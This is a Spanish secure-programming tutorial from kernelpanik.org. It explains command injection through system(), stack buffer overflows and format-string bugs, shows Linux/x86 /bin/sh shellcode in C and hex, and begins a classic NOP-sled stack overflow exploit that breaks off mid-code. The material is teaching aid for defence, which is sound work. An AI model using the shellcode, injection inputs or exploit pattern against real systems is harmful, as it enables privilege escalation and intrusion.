Desarrollo Seguro de Aplicaciones

41
Desarrollo Seguro de Aplicaciones v0.6 Beta Contenidos 1.- Introducción al desarrollo seguro de aplicaciones 1.1.- ¿Qué es la seguridad informática? 1.2.- ¿Qué es la programación segura? 1.3.- ¿Por qué los programadores escriben código inseguro? 1.4.- Funcionalidad vs. Correción vs. Seguridad 1.5.- El mito del ambiente hostil 2.- Fallos de seguridad 2.1.- Fallos de seguridad clásicos 2.1.1.- Aplicaciones inseguras 2.1.2.- Debordamientos de pila 2.1.3.- Desbordamientos de memoria dinámica 2.1.4.- Errores de formato 2.2.- Evolución del fallo de seguridad 2.2.1.- Aplicaciones inseguras 2.2.2.- Inyección de SQL 2.2.3.- Inyección de código en el servidor 2.2.4.- Inyección de código HTML en el cliente 2.3.- Otros fallos de seguridad comunes 2.3.1.- Escalada de directorios 2.2.2.- Condiciones de carrera 2.2.3.- Errores en el mecanismo de autenticación 2.2.4.- Errores en el mecanismo de cifrado http://www.kernelpanik.org frame at kernelpanik.org 1

Transcript of Desarrollo Seguro de Aplicaciones

Page 1: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Contenidos

1.- Introducción al desarrollo seguro de aplicaciones

1.1.- ¿Qué es la seguridad informática?

1.2.- ¿Qué es la programación segura?

1.3.- ¿Por qué los programadores escriben código inseguro?

1.4.- Funcionalidad vs. Correción vs. Seguridad

1.5.- El mito del ambiente hostil

2.- Fallos de seguridad

2.1.- Fallos de seguridad clásicos2.1.1.- Aplicaciones inseguras2.1.2.- Debordamientos de pila2.1.3.- Desbordamientos de memoria dinámica2.1.4.- Errores de formato

2.2.- Evolución del fallo de seguridad2.2.1.- Aplicaciones inseguras2.2.2.- Inyección de SQL2.2.3.- Inyección de código en el servidor2.2.4.- Inyección de código HTML en el cliente

2.3.- Otros fallos de seguridad comunes2.3.1.- Escalada de directorios2.2.2.- Condiciones de carrera2.2.3.- Errores en el mecanismo de autenticación2.2.4.- Errores en el mecanismo de cifrado

http://www.kernelpanik.org frame at kernelpanik.org 1

Page 2: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

3.- Desarrollo seguro de aplicaciones

3.1.- Técnicas para una codificación segura3.1.1.- Puntos críticos en la seguridad de una aplicación

3.1.1.1- Entrada de datos3.1.1.2- Salida de datos3.1.1.3- Modificación de datos

3.1.2.- Medidas para una programación segura3.1.2.1.- Programación conservativa3.1.2.2.- Control del flujo de ejecución de la aplicación3.1.2.3.- Verificación exahustiva: celdas de seguridad.

3.1.3.- Ingeniería del software seguro

4.- Herramientas para la seguridad de las aplicaciones

4.1.- Herramientas de búsqueda y chequeo4.1.1.- RATS4.1.2.- LClint

4.2.- Herramientas antiexplotación4.1.1.- Libsafe4.1.2.- StackGuard y FormatGuard

4.3.- Mecanismos de prevención y detección de intrusiones4.3.1.- IDS y NIDS4.3.2.- Firewalls a nivel de aplicación: Firewalls webs

A.- Apéndice A: Bibliografía

B.- Apéndice B: Licencia del documento

http://www.kernelpanik.org frame at kernelpanik.org 2

Page 3: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Introducción al Desarrollo Seguro deAplicaciones

http://www.kernelpanik.org frame at kernelpanik.org 3

Page 4: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Sería complicado, en unas pocas líneas, exponer de forma clara y concisa el tema sobre el queversa este documento. La seguridad, y la programación segura, como parte de ella, sonmultidisciplinares. En ellas tienen cabidas programación, ingeniería del software, redes, serviciosde red, inteligencia artificial, y un sin fin de áreas de conocimiento asociadas. Es tanto y tanextenso, a la vez que desconocido para la inmensa mayoría, el mundo de la (in)seguridadinformática que no puede ser condensado en las pocas decenas de hojas que nos vamos aextender.

No obstante, y pecando de simplicidad, diremos que este texto versa entorno a tres ideas. Laprimera es que nuestro software debe hacer únicamente lo que nosotros queramos que haga,absolutamente nada más. La segunda es que la seguridad es tan importante como lafuncionalidad, por mucho que nos cueste darnos cuenta. Y la tercera es que la única forma deadquirir los conocimientos necesarios para comprender plenamente las anteriores es conociendo enprofundidad qué es un fallo de seguridad, porqué se cometen y cómo se explotan.

1.1.- ¿Qué es la (in)seguridad informática?

"El único sistema seguro es aquel que está apagado, desconectado, dentro de una caja fuerte detitanio, enterrado en un bunker de concreto, rodeado de gas tóxico y vigilado por guardiasarmados y muy bien pagados. Y aún así, no apostaría mi vida a que es seguro". Gene Spafford

Antes de continuar avanzando en el periplo que nos lleve a profundizar en el ámbito de laprogramación segura, es conveniente dedicar unas cuantas líneas a la idea general de “seguridadinformática”, a su significado y a lo que comprende.

“Libre y exento de todo peligro, daño o riesgo”, es la definición que la Real Academia de la LenguaEspañola da al término seguridad. Por tanto, hablar de seguridad informática sería hacerlo de unainformática libre y exenta de todo peligro, daño o riesgo. Convendremos en la ambiguedad de estadefinición, y por ello, y de forma más concreta, diremos que: asegurar y garantizar que losrecursos informáticos estén exentos de peligro, daño o riesgo alguno por cualquier tipo decircunstancia tanto externa como interna, puede ser una definición absoluta del concepto deseguridad informática.

Esta última definición se plasma en que la seguridad informática toma forma como el conjunto dereglas y técnicas destinadas a conseguir el objetivo anteriormente fijado de salvaguardar unrecurso informático de cualquier peligro.

http://www.kernelpanik.org frame at kernelpanik.org 4

Page 5: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Una vez definido un extremo, definiremos su opuesto. La inseguridad informática son el conjuntode riesgos a los cuales están expuestos los recursos informáticos. Estos riesgos son muchos y muyvariados: virus y gusanos, spyware, malware, ataques de denegación de servicio, accesos noautorizados, modificación de los sistemas o robos de információn. Asociado al concepto deinseguridad, está el concepto de vulnerabilidad. Una vulnerabilidad es la exposición a un riesgolatente, y por tanto cuando hablemos de sistema vulnerable, estaremos hablando de un sistemaque es supceptible de riesgo o daño.

Las definiciones del anterior párrafo nos han de llevar a una forma de pensamiento en el que laseguridad se entienda no como algo cualitativo sino como un concepto cuantitativo puesto quesiempre existirá una exposición latente al riesgo. Bien sea un riesgo conocido, en cuyo caso el nivelde riesgo será alto, o desconocido, en cuyo caso el nivel de riesgo será bajo. Y es esta propiedad laque nos hace redefinir el concepto asoluto de seguridad, llevándonos a un concepto de seguridadmucho más tangible, mucho más cercano, y mucho más real: La seguridad informática es uncompromiso entre la cantidad de seguridad que queremos alcanzar, la importancia de lo quequeremos proteger y los recursos que queremos destinar a su protección.

De esta nueva defición nace el concepto de “política de seguridad”, que son el conjunto derequisitos destinados a la protección de los recursos informáticos tanto físicos como lógicos duranela operación normal del mismo. Las ideas subyacentes a las políticas de seguridad son lassiguientes:

● Identificar y seleccionar lo que se debe proteger: recursos sensibles.● Establecer niveles de prioridad e importancia.● Identificar y establecer los niveles de riesgo y vulnerabilidad.● Realizar un análisis de de costos en prevención, contención y recuperación.

Por último, las políticas de seguridad son el paso previo al despliegue de la “arquitectura deseguridad” y las “planes de prevención, contención y recuperación”. Por arquitectura de seguridadentendemos el conjunto de soluciones tecnológicas destinadas a asegurar los recursos a proteger:físicos y lógicos, locales y en red, mientras que por planes, entendemos el conjunto de normas ymedidas que mantienen y regulan el nivel de seguridad en los mismos.

http://www.kernelpanik.org frame at kernelpanik.org 5

Page 6: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

1.2.- ¿Qué es la programación segura?

La programación segura, es una parte importante de la seguridad informática, englobada dentrodel ámbito de la prevención. No hay una definición exacta pero podemos decir que un programaseguro será aquel programa en el que su uso no pueda ser subvertido por terceros, obteniendo unposible beneficio de ello, y realice única y exclusivamente las funciones para las que ha sidodestinado. Por tanto la programación segura son el conjunto de técnicas, normas y conocimientosque permiten crear programas cuyo uso no pueda ser subvertido.

Al igual que la seguridad informática, la programación segura es un concepto cuantitativo, y uncompromiso entre cuanta seguridad queremos en nuestro programa y cuanto esfuerzo estamosdestinados a invertir en ella.

Compromisos de seguridad bajos, aunmentarán las posibilidades de diseñar y codificar aplicacionesvulnerables, cuyo uso pueda ser alterado comprometiendo así la seguridad del sistema que laejecute, y por extensión la del resto de sistemas que guarden relación con este.

Para ejemplificar cómo el uso de un programa puede ser alterado, vamos a diseñar nuestro primerprograma. Supongamos que somos un administrador de un sistema operativo UNIX, y quequeremos añadir una funcionalidad al mismo, por ejemplo la de que nuestros usuarios puedansaber el número de líneas de un fichero. Una utilidad estúpida, sin duda alguna, pero utilidad al finy al cabo.

$cat catwc.c#include <stdio.h>

int main(int argc, char **argv) {char comando[255];

        if (argc==2) {            snprintf(comando,sizeof(comando)­1, "/bin/cat %s | /bin/wc ­l",argv[1]);            system(comando);

} else {            printf("Uso: %s fichero palabra\n");        }}

Vamos a ver como el programa funcionaría de forma normal.

$ ./catwc afunc.c5

Ahora vamos a ver como se altera su uso y se invoca al comando “/usr/bin/id” desde el códigodebido al uso inapropiado de la función “system”.

$ ./catwc "/etc/hostname && /usr/bin/id && /usr/bin/id"hawkinguid=500(frame) gid=500(frame) grupos=500(frame)1

http://www.kernelpanik.org frame at kernelpanik.org 6

Page 7: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Este sencillo ejemplo recoge de forma fiel las ideas sobre las que girarán las siguientes páginas:cómo subvertir el uso de un software y cómo protegerse de esos posibles ataques.

1.3.- ¿Por qué los programadores escriben código inseguro?

Esta es una pregunta que lleva mucho tiempo intentando ser contestada, ya en 1986, Matt Bishop,intentaba dar unas guías para que esto no ocurriera en su “Howto write a setuid program”, perofue unos cuantos años más adelante, exactamente en 1998, cuando Elias Levy (Aleph1) en un posta Bugtraq, intentaba responder concretamente a esta pregunta. En el año 1999, David A.Wheeler, autor de “Secure Programming for Linux and Unix HOWTO”, apuntaba nuevas ideas yconcretaba estas en su documento.

No vamos a reinventar la rueda. Los motivos más comunes, entre otros que podemos dejar en eltintero, son los siguientes:

No es un tema que se suela explicar en la universidad, ni en centros de formaciónprofesional. Durante los estudios se cursan muchas asignaturas de programacion, en lasque se ensenan distintos lenguajes. En determinadas asignaturas se ven temas deseguridad, criptografia, protocolos, etc. pero no se ensena a programar de modo seguro:como evitar buffer overflows, comprobaciones en las operaciones de entrada/salida, etc.Este es uno de los principales problemas.

Algo parecido pasa con los libros, existen muchisimos libros de programación, pero muypocos hablan acerca de escribir programas seguros, aunque es algo que en los últimos añostiende a corregirse.

Determinados lenguajes son propensos a cometer errores por los más diversos motivos: noexiste control de los límites en los buffers, contienen funciones que son potencialmentepeligrosas bajo ciertas circunstancias, no hacen suficientes comprobaciones sobre losparámetros de entrada, etc.

Muchos programadores se conforman con que su programa funcione, es decir satisfaga losrequerimientos funcionales, y si algo falla ya se corregirá en el futuro. El pensamiento tieneque ser el opuesto, hagamos un buen programa, que el numero de fallos que haya quecorregir en el futuro sera menor.

Programar de forma segura conlleva un mayor tiempo de desarrollo, esto hace quedeterminadas empresas publiquen codigo inseguro por cumplir unos plazos de mercado.

Los programadores somos humanos, es practicamente imposible no equivocarse cuandoescribes miles de lineas de codigo.

No existe una conciencia real sobre el problema de la seguridad, y lo que entraña. Losconsumidores no se preocupan realmente de este tema y si de que el programa satisfaga lafuncionalidad demandada.

http://www.kernelpanik.org frame at kernelpanik.org 7

Page 8: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Existen diferencias notables entre funcional, correcto y seguro, sin embargo estás nosiempre son reflejadas en el desarrollo de un software. Un programa correcto en ciertosaspectos formales, y que cumpa su función no tiene porqué ser seguro.

1.4.- Funcionalidad vs. Corrección vs. Seguridad

Una vez que hemos definido qué es la seguridad, qué es la programación segura y porqué seescribe, al menos la mayoría de las veces, código inseguro. Vamos a hablar de 3 conceptos quenos deben ser familiares. Pero no lo vamos a hacer desde una árdua definición sino desde unejemplo que sirva de cierre, y unifique los conceptos que se han tratado hasta este momento.

Transformémonos en programadores por un instante. Nos acaban de dar el encargo de crear unprograma que concatene a la frase “Hola” al texto introducido como argumento al programa. Unasalida de ejemplo sería la siguiente:

$ ./nuestroprograma pedroHola pedro

Una primera aproximación podría ser la de programa “afuncional”. El siguiente puede ser válido:

#include <stdio.h>

int main(void) {printf(“Hola pedro\n”);

}

Realmente nadie podrá negar que ese código no haga lo que pide el ejemplo, pero desde luego nocumple la funcionalidad requerida.

El siguiente caso es el del programa funcional. Bien pudiera ser el siguiente:

#include <stdio.h>

int main(int argc, char **argv) {char buffer[128];

    strcpy(buffer,"Hola ");    strcat(buffer,argv[1]);    strcat(buffer,"\n");    printf(buffer);}

Sin embargo, ¿es ese código correcto?. La corrección de un código es algo demasiado genérico. Elcódigo es correcto en cuanto a su funcionalidad, hace lo que se pide en el enunciado. El código escorrecto en cuanto a su sintaxis, por tanto es perfectamente compilable. Pero el código no escorrecto en cuanto a la seguridad, es más, cuenta con 2 fallos de seguridad: desbordamiento debuffer y error de formato. Veámoslo:

http://www.kernelpanik.org frame at kernelpanik.org 8

Page 9: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

$ ./func pacoHola paco

$./func AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAViolación de segmento

$./func %u%sViolación de segmento

De momento no entraremos a valorar si esas violaciones de segmento son fallos de seguridadexplotables. Simplemente diremos que se producen en el primer caso al desbordar la pila, y en elsegundo caso por un error de formato en la función printf.

¿Cuál sería el código correcto, funcional y seguro apropiado al problema planteado?.

#include <stdio.h>

int main(int argc, char **argv) {if (argc == 2) printf(“Hola %s\n”, argv[1]);

}

Acabamos de comprobar en las pocas líneas que ocupa este apartado, y con un ejemplo de lo mástrivial, las muchas formas que hay de afrotar un problema de programación, y los diversosresultados que podemos obtener. Es muy común conformarse con que nuestro programa compile yhaga lo que se espera de él, sin embargo, comprobar que sólo hace lo que queremos y que su usono puede ser subvertido en beneficio de un tercero, es decir, programar con la seguridad enmente, requiere un esfuerzo consciente por parte del programador para generar un código correctodesde el ámbito de la seguridad.

1.5.- El mito del ambiente hostil

Como último punto de esta introducción, vamos a tratar el mito del ambiente hostil. Sonnumerosos los documentos en el que se habla de ambientes hostiles, de ambientes confiables, o deentornos de bajo riesgo. La realidad es que no existen ambientes confiables. Todo ambienteconfiable puede tornarse hostil, tanto en cuanto puede evolucionar ante determinadascircunstancias.

Podemos pensar que nuestra tranquila intranet es un ambiente confiable. Un lugar donde podemosprobar prototipos o software en estado alfa/beta. Y es cierto, puede parecer un ambiente confiable,y de hecho lo será, pero que puedan existir ambientes confiables en un determinado momento nosignifica que se pueda hacer software pensando en ambientes confiables y software pensando enambientes hostiles. Un software debe intentar responder a unos criterios de seguridad sea cual seael ambiente: sea una intranet, sea el propio host local, o sea un concurso de toma de bandera enun certamen de seguridad informática. Programar con unos criterios de seguridad pobres,pensando en el escenario de destino, es algo nefasto y de consecuencias negativas la gran mayoríade las veces, ya que bastará un cambio en el entorno para que la seguridad quede comprometida.

http://www.kernelpanik.org frame at kernelpanik.org 9

Page 10: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Fallos de seguridad

http://www.kernelpanik.org frame at kernelpanik.org 10

Page 11: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

En el apartado anterior hemos visto que el comportamiento de ciertos programas de ejemplo,puede ser modificado, obteniendo resultados a priori no esperados y alejados del comportamientonormal que cabría esperar de ellos. Sin embargo, no hemos entrado a valorar si constituyen fallosde seguridad explotables, o simplemente situaciones indeseables que pueden ser entendidas comofuncionamientos anómalos, pero no inseguros. Ya es momento, de profundizar en la siguientecapa, y distinguir qué es un fallo de seguridad, cuales son los más comunes, cómo se explotan ycómo se previenen.

Un fallo de seguridad, será aquel error de cuya explotación un atacante obtenga una elevación deprivilegios en el sistema atacado. El fallo de seguridad, como veremos más adelante no sólo es unerror en la codificación del software, bien puede ser un error lógico en la implementación, en eldiseño, o incluso en el propio concepto a desarrollar.

A la hora de presentar una correlación de fallos, con algún mínimo orden, se han planteado unaserie de problemas según los modelos posibles. Al final, se ha optado por la que hemosconsiderado más didáctica, aunque quizá no la más correcta. La exposición se iniciará con los fallosde seguridad clásicos, existentes desde hace más de una década, y los cuales tienden a estarasociados a procesos privilegiados y a servicios de red. Acto seguido se pasará a los nuevos fallosde seguridad que ha traido la llegada de las aplicaciones web, y las aplicaciones por capas. Paraterminar, quizá haciendo un abuso del cajón desastre, con una serie de fallos de seguridad que sontransversales a todas las aplicaciones.

2.1.- Fallos de seguridad clásicos

La historia de la inseguridad informática y de aprovechar los fallos de seguridad es tan antiguacomo la propia informática. En sus inicios eran técnicas rudimentarias, y bastante triviales:búsqueda de cuentas sin contraseña, o con contraseñas por defecto, busqueda de errores trivialesen programas suideados, generalmente shell scripts, explotables generalmente con una simplemodificación del PATH, o de la variable de entorno IFS, ataques por fuerza bruta a contraseñasdébiles, y otra serie de técnicas que sin una excesiva complejidad técnica obtenían unos resultadosmás que aceptables.

Pero sin duda el hecho que marca el inicio de la (in)seguridad informática tal y como la conocemosen la actualidad es el año 1994. Año en el cual un desbordamiento de buffer remoto fueconvenientemente explotado sobre un NCSA Web Server 1.3 ejecutandose sobre HP-UX. Desde esemomento, el stack buffer overflow marcó una época, que todavía no se ha cerrado. En 1995,Mudge, miembro de l0pth, publicaría “How to write buffers overflows”, un año más tarde plasmoid,miembro de THC, publicaría “Stack Overlflows exploits on LINUX /BSDOS / FREEBSD / SUNOS /SOLARiS/ HP-UX”. Un año más tarde Aleph One, publicaría en la edición 49 de Phrack, “Smashingthe stack for fun and profit”. Iniciándose así la carrera hacia el root remoto gracias a laconveniente explotación de desbordamientos de pila y que con unas cuantas evoluciones, queveremos a continuación, persiste hasta nuestros días.

http://www.kernelpanik.org frame at kernelpanik.org 11

Page 12: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

2.1.1.- Aplicaciones inseguras

Dos son los tipos de aplicación insegura más característicos de este modelo. Por un lado nosencontramos con los procesos privilegiados y por otro con los servicios, que podrán ser o no, unproceso privilegiado, en función de las necesidades del mismo.

Por proceso privilegiado entenderemos aquel que se ejecuta con un identificador de usuario queotorga unos privilegios por encima de lo normal. Generalmente son tradicionales de los sistemasUNIX, y el identificador de ejecución más común es el 0 (root). Dentro de UNIX estos procesos,pueden ser bien los ejecutados por el root, sea desde un terminal, o desde los scripts de inicio. Obien los procesos “suideados”. Este término es usado para definir aquel proceso cuya ejecuciónactiva el suid bit, lo que equivale a que su ejecución por parte de cualquier usuario hace que elkernel extienda los privilegios del usuario a los definidos para el propietario del binario.

$ ls ­l /bin/mount­rwsr­xr­x  1 root root 80008 oct 14  2004 /bin/mount

$ls ­l /bin/ping­rwsr­xr­x  1 root root 35108 jun 16  2004 /bin/ping

En este caso, la ejecución de los binarios “mount” y “ping”, cuyo propietario es el root, hace que elproceso extienda los privilegios del usuario que lo ejecuta, a los del administrador del sistema. Larazón es permitir que usuarios del sistema realicen tareas privilegiadas, como puede sermontar/desmontar unidades de disco, en el caso de mount, o tener acceso a socket de bajo nivel,raw sockets, en el caso del comando ping.

Por servicio entendemos un proceso, privilegiado o no, cuya ejecución se lleva a cabo en segundoplano, y que aún pudiendo tener una terminal administrativa, es bastante común que carezca deella, o bien que presente un interfaz a nivel de red permitiendo la conexión a host remotos.Ejemplos de servicios podemos tener muchos y muy variados: cron daemon, servicios de bases dedatos, servicios web, servicios de ftp, servicios de shell remota, etc. El comando “chkconfig --list”nos devuelve la lista de servicios instalados en la máquina, y su ejecución o no de formaautomática en los scripts de inicio del sistema.

crond 0:desactivado 1:desactivado 2:activo      3:activo      4:activo      5:activo      6:desactivadohttpd 0:desactivado 1:desactivado 2:desactivado 3:desactivado 4:desactivado 5:desactivado 6:desactivado

En este caso podemos ver dos servicios, uno el demonio de tareas ( crond ), y otro el demonio dehttp ( httpd ). El primero se ejecuta en los runlevel 3,4 y 5, mientras el segundo no cuenta coninicio automático, y deberá ser ejecutado por el administrador.

De cara a la explotación por parte de un usuario malintencionado decir que el foco de interés secentrará en cualquier servicio de red, ya que permite el acceso a un nuevo host, sea cual sea elnivel de privilegios con el que lo haga, además de cualquier proceso local que permita unaescalada de privilegios.

http://www.kernelpanik.org frame at kernelpanik.org 12

Page 13: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

2.1.2.- Desbordamientos de pila

El desbordamiento de pila, generalmente conocido como “stack buffer overflow” podría sercalificado como el fallo de seguridad más común desde 1995 hasta el año 2000. Durante esos 5años, ningún otro fallo de seguridad pudo hacerle sombra, ningún otro fallo de seguridad produjotantos exploits locales o remotos, ningún otro fallo de seguridad supuso mayor problema para ladefensa de los sistemas informáticos que este. No obstante se tiene conocimiento de este fallodesde que en el año 1988, Robert Morris, creará su ya famoso gusano, aprovechando undesbordamiento de buffer en el demonio fingerd. 15 años después, sigue siendo un problema deseguridad a erradicar.

¿Qué es un desbordamiento de buffer en pila?. Intuitivamente, y según lo que hemos vistoanteriormente, el concepto parece claro. Hay una pila, hay unos buffers, es decir regionescontiguas de memoria asociadas a un tipo de dato, y se escribe en ellos por encima de su tamaño,desbordándolo. Idea que se fundamenta en el hecho de que ciertos lenguajes, como por ejemploC, en alguna de sus funciones, no comprueban el tamaño del buffer en el que están escribiendopudiendo escribir más allá de los límites de este, alterando así la memoria, con consecuenciasindeseables la mayor parte de las veces. Las funciones inseguras más comunes son: strcpy, strcat,sprintf, gets y scanf.

¿Qué se consigue desbordando la pila?. Para contestar a esa pregunta hay que ver de cerca laestructura de la pila y como se comporta, y antes de eso, en general que aspecto tiene la memoriade un proceso en ejecución. En este caso elegimos la estrucutra de una pila x86. Decir queestructura de la pila varía entre arquitecturas, hay arquitecturas con pila decreciente, comopueden ser la de intel, la de sparc o la de mips, mientras que otras arquitecturas, como porejemplo hp-parisc, presentan arquitecturas de pila creciente.

                                                          /­­­­­­­­­­­­­­­­­­\  ­ direccion de memoria                             |                  |                               |       Texto      |                               |                  |                             |­­­­­­­­­­­­­­­­­­|                             |  (Inicializados) |                             |       Datos      |                             |(No inicializados)|                             |­­­­­­­­­­­­­­­­­­|                             |                  |                             |       Pila       |                               |                  |  

                   \­­­­­­­­­­­­­­­­­­/  + direccion de memoria

http://www.kernelpanik.org frame at kernelpanik.org 13

Page 14: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Como podemos ver en el gráfico, esta es la organización de memoria de un proceso. La región detexto, corresponde al código y a los datos de sólo lectura, es una región en la que no se suelepoder escribir, y cuando lo hacemos nos encontramos con una violación de segmento. En la zonade datos, se hayan, las variables estáticas del proceso, inicializadas o no. Por último nosencontramos la pila.

¿Qué es una pila?. Una estructura que se comporta según el criterio LIFO, es decir, último enentrar, primero en salir. Las operaciones comunes sobre la pila son dos PUSH, apila aumentandoen un elemento el tamaño de la pila, y POP, desapila reduciéndolo. El motivo de usar la pila, tienesu razón de ser en la programación de alto nivel: la necesidad de controlar el flujo de un programapermitiendo su recuperación tras un salto a una función, así como el paso de variables a funciones.

Ahora entraremos a hablar en profundidad de la región de pila. En la pila el puntero SP/ESP (StackPointer) se encuentra situado en la parte superior de la misma, por el contrario la parte baja de lapila se encuentra en una dirección fija. Otro puntero interesante es el SFP ( Stack Frame Pointer )que si bien no pertenece a la arquitectura del computador es usado por el compilador comoreferencia fija al marco de pila ( stack frame ) en uso permitiendo así un direccionamiento relativoa él. En la arquitectura x86 es el registro BP/EBP el usado para almacenar el valor del SFP. Unmarco de pila contiene los parámetros necesarios para la función llamada: variables locales,parámetros pasados a la función, la dirección del anterior SFP, y la dirección del puntero deinstrucciones IP/EIP antes de la llamada a la función.

A continuación veremos los conceptos enunciados con un ejemplo.

#include <stdio.h>

void numeros(int uno, int dos, int tres) { char buffer1[10]; char buffer2[20];}

int main() { numeros(1,2,3);}

El código en ensamblador generado por la llamada a la función números será el siguiente:

pushl   $3pushl   $2pushl   $1call    numeros

numeros: pushl   %ebp movl    %esp, %ebp subl    $56, %esp leave ret

http://www.kernelpanik.org frame at kernelpanik.org 14

Page 15: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Como vemos se apilan los 3 valores, se llama a la función numeros mediante la instrucción call queapila IP/EIP, y una vez en la función número se guarda el SFP anterior, se posiciona el nuevo y secrea espacio para las variables locales “buffer1” y “buffer2”. Dado que en nuestro caso queremosreservar El aspecto de la pila sería el siguiente.

  parte baja                                                      parte alta  de memoria                                                      de memoria

               buffer2      buffer1  sfp   ret    a     b     c  <­­­­­­   [            ][        ][    ][    ][    ][    ][    ]

  parte alta                                                      parte baja  de la pila                                                      de la pila

Aquí, ya podemos intuir, la idea subyacente a desbordar un buffer. Si los buffer que hay en la pilase desbordan, sobreescribiremos los valores de SFP y de RET, lo cual nos hará llevar el flujo delprograma a la dirección que maś nos interese, pudiendo alterar su comportamiento.

La siguiente idea es: ¿para qué queremos hacer que el programa retorne a una dirección?. ¿Quévamos a conseguir de esa forma?. Esto nos introduce en el concepto de shellcode. Llevar elprograma a retornar a una posición cualquiera, convendremos no es interesante en ningúnaspecto, ¿pero qué sucede si somos capaces de hacer el que el programa retorne a una direcciónen la cual nosotros hemos almacenado código ejecutable?. La respuesta es evidente, el punteroIP/EIP apuntará a esa región, y el código contenido en ella se ejecutará. Ese código recibe elnombre de “shellcode”, nombre heredado de su objetivo primordial: proporcionarnos un acceso auna shell del sistema, bien sea local o remota, desde donde podamos usar los privilegios obtenidosdel desbordamiento de ese buffer.

#include <stdio.h>void main() {   char *name[2];

   name[0] = "/bin/sh";   name[1] = NULL;   execve(name[0], name, NULL);}

Éste sería el aspecto en C de un shellcode local. ¿Pero qué aspecto tendría eso codificado en códigomáquina?. Huelga decir que no vamos a profundizar en la escritura de shellcodes, ya que no es elobjetivo de este documento.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";

http://www.kernelpanik.org frame at kernelpanik.org 15

Page 16: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Este código hexadecimal es la transformación del código C original, a código máquina. En este casovemos un shellcode para Linux/x86. El proceso de codificación consiste en líneas generales endesensamblar el binario generado por el compilador para el código C y obtener el código ASMmínino y sin contenidos nulos. Una vez visto, de forma tan ligera lo que es un shellcode,mezclaremos ambos conceptos: el de desbordar el buffer, con el de apuntar el puntero EIP/IP anuestra shellcode en memoria, para conseguir ejecutar código en la aplicación.

parte baja DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     parte altade la mem  89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     de la memoria

           buffer                sfp   ret   a     b     c

<­­­­­­   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]                 ^                     |                 |_____________________|parte alta                                                        parte bajala pila                                                           de la pila

Aquí tenemos de forma gráfica la idea contenida en el párrafo anterior. En el buffer que podemosdesbordar contenemos: NOP's ( código máquina que no ejecuta función alguna ), su razón de serdentro de un exploit es mejorar la eficiencia del ataque ya que permite tener un mayor espacio desalto, en este caso ficticio la dirección de retorno podría ser desde D8 hasta la E3, cuantos másNOP's tengamos mayor será el espacio de salto, y más eficiencia conseguiremos. A continuaciónviene la shellcode, y al finalizar la misma, nos encontramos con la dirección de retorno del exploit.La dirección de retorno como vemos en este caso, apunta a 0xDE, que sería uno de los NOP'sinyectados, y que haría posicianarse al punterio IP/EIP dentro de nuestro código, y comenzar suejecución.

A continuación mostraremos un ejemplo básico de desbordamiento de buffer, un exploit básicopara él, y dos escenarios, uno donde podrá ser explotado y otro donde no, y los motivos.

El siguiente código, de funcionalidad, bastante limitada, nos servirá para ejemplificar loanteriormente expuesto. La idea es introducir un buffer en argv[1] que permita desbordar el bufferde 512 bytes y conseguir ejecutar el código que deseemos.

void main(int argc, char *argv[]) {

  char buffer[512];

  if (argc > 1)    strcpy(buffer,argv[1]);}

El exploit, tendrá la misión de calcular la dirección de retorno, e inicializar una variable de entornodenominada EGG, con la estructura descrita anteriormente, es decir, NOP's + SHELLCODE +DIRECCION DE RETORNO.

http://www.kernelpanik.org frame at kernelpanik.org 16

Page 17: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

#include <stdlib.h>

#define DEFAULT_OFFSET                    0#define DEFAULT_BUFFER_SIZE             512#define NOP                            0x90

char shellcode[] =  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  "\x80\xe8\xdc\xff\xff\xff/bin/ls";

unsigned long get_sp(void) {   __asm__("movl %esp,%eax");}

void main(int argc, char *argv[]) {  char *buff, *ptr;  long *addr_ptr, addr;  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;  int i;

